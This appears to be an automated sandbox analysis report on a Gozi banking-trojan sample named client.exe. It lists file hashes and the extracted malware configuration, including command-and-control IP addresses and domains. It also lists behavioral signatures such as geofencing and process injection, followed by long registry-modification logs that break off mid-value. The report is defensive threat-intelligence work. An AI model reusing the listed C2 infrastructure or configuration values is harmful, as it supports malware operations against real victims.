Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2023 11:55
Static task
static1
Behavioral task
behavioral1
Sample
client.exe
Resource
win7-20230831-en
General
-
Target
client.exe
-
Size
294KB
-
MD5
bb35f8c1a3236ad31c754cdfe795d57f
-
SHA1
b744f8ae31e2b3f7c3b72b9615823a3a3ad02989
-
SHA256
5cd96f6b1e6a4a172d852a7bcf5ad10bf029e135061f0ae5105f45a9920089a2
-
SHA512
fcb8f4458b7a5a4a2536a22ad55e4564ffe3d3327e4eefca10a30bc490ae29c8cc31760e07d567de53150090c84bb171209f1f3811f22d3f69545beb15edd0b0
-
SSDEEP
3072:4e6lIjmvg7aaCIg0JHk8D8uNhUqHAMMQKL2H/NHIS:4blIavYaaCIg6h/NhUDAHlH
Malware Config
Extracted
gozi
Extracted
gozi
5050
185.247.184.139
62.72.33.155
incontroler.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
expirew.com
whofos.com
onlinepoints.online
onlinepoints.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 3332 set thread context of 3200 3332 powershell.exe Explorer.EXE PID 3200 set thread context of 3764 3200 Explorer.EXE RuntimeBroker.exe PID 3200 set thread context of 3404 3200 Explorer.EXE RuntimeBroker.exe PID 3200 set thread context of 5092 3200 Explorer.EXE RuntimeBroker.exe PID 3200 set thread context of 4384 3200 Explorer.EXE RuntimeBroker.exe PID 3200 set thread context of 1548 3200 Explorer.EXE cmd.exe PID 3200 set thread context of 3208 3200 Explorer.EXE cmd.exe PID 1548 set thread context of 1216 1548 cmd.exe PING.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 456 548 WerFault.exe client.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000d6475f95f0f5d90195401996f0f5d90195401996f0f5d901759604000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357025f2000323165613464363763303633633361626239656636306265636235323562666131653431323663343731623565613230333338633530343031303563623237640000b20009000400efbe4357025f4357025f2e0000000000000000000000000000000000000000000000000057140301320031006500610034006400360037006300300036003300630033006100620062003900650066003600300062006500630062003500320035006200660061003100650034003100320036006300340037003100620035006500610032003000330033003800630035003000340030003100300035006300620032003700640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c32316561346436376330363363336162623965663630626563623532356266613165343132366334373162356561323033333863353034303130356362323764000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0795ef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b0795ef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\457e26db-e0b5-425b = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000d81e9695f0f5d901b9dc1696f0f5d901b9dc1696f0f5d901640204000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357025f2000346465303365393036376630613935373261393664303235316566333261343662323232613233306661343636343135326535656466663163336266663166380000b20009000400efbe4357025f4357025f2e00000000000000000000000000000000000000000000000000c062f200340064006500300033006500390030003600370066003000610039003500370032006100390036006400300032003500310065006600330032006100340036006200320032003200610032003300300066006100340036003600340031003500320065003500650064006600660031006300330062006600660031006600380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34646530336539303637663061393537326139366430323531656633326134366232323261323330666134363634313532653565646666316333626666316638000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0796ef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b0796ef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b173e34-19bd-483e = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b173e34-19bd-483e = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\33ba3524ca0231a629342986829395d63346cff1856773b341cca9220833b551" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\22aba214-2488-4aa0 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\46dab38e-0d6e-4f51 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\46dab38e-0d6e-4f51 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\eb59edda-f7e1-4465 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ed8bd6b2-e6b6-42b4 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\133fb77f-a938-457a RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b173e34-19bd-483e = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b173d92b-2b3e-4a2b RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\eb59edda-f7e1-4465 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000e7964e95f0f5d90196a21b96f0f5d90196a21b96f0f5d901d13406000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357025f2000366231383366613064643665376332356663613135306631626263353738613537393337336132643365393764623433633761326430663666643265666538300000b20009000400efbe4357025f4357025f2e00000000000000000000000000000000000000000000000000c49fed00360062003100380033006600610030006400640036006500370063003200350066006300610031003500300066003100620062006300350037003800610035003700390033003700330061003200640033006500390037006400620034003300630037006100320064003000660036006600640032006500660065003800300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36623138336661306464366537633235666361313530663162626335373861353739333733613264336539376462343363376132643066366664326566653830000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0793ef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b0793ef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3e1149fc-6f89-4d00 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd168529-a866-43aa RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\57759e7b-9406-46a2 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\09db98a4-f315-4e9b RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c72342c-592a-4cd0 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\eb59edda-f7e1-4465 = 9acb5296f0f5d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\21ea4d67c063c3abb9ef60becb525bfa1e4126c471b5ea20338c5040105cb27d" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\457e26db-e0b5-425b = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\22aba214-2488-4aa0 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ed8bd6b2-e6b6-42b4 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000053664298f0f5d90153664298f0f5d90153664298f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357045f2000613932363062333334346337343232316135363361383339343636613566633030666530623935636130653233656664383631333063383962633766343639310000b20009000400efbe4357045f4357045f2e00000000000000000000000000000000000000000000000000ad550600610039003200360030006200330033003400340063003700340032003200310061003500360033006100380033003900340036003600610035006600630030003000660065003000620039003500630061003000650032003300650066006400380036003100330030006300380039006200630037006600340036003900310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c61393236306233333434633734323231613536336138333934363661356663303066653062393563613065323365666438363133306338396263376634363931000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b079cef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b079cef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20c606fb-a856-4d63 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8857350f-2fa3-450c RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\46dab38e-0d6e-4f51 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20c606fb-a856-4d63 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\d2c0aaa9061a996db0ccf961c51439c581759aef1d0b76a40c3f83973951ffdc" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3e1149fc-6f89-4d00 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3e1149fc-6f89-4d00 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\bead8187a4224b432edfbde785bd3e33e06c60d02b42e7b4f488846dc90159db" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\73e27b45-57c6-44a8 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000022cd1199f0f5d90179561b99f0f5d90179561b99f0f5d901d46203000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357045f2000613932363062333334346337343232316135363361383339343636613566633030666530623935636130653233656664383631333063383962633766343639310000b20009000400efbe4357045f4357045f2e00000000000000000000000000000000000000000000000000ad550600610039003200360030006200330033003400340063003700340032003200310061003500360033006100380033003900340036003600610035006600630030003000660065003000620039003500630061003000650032003300650066006400380036003100330030006300380039006200630037006600340036003900310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696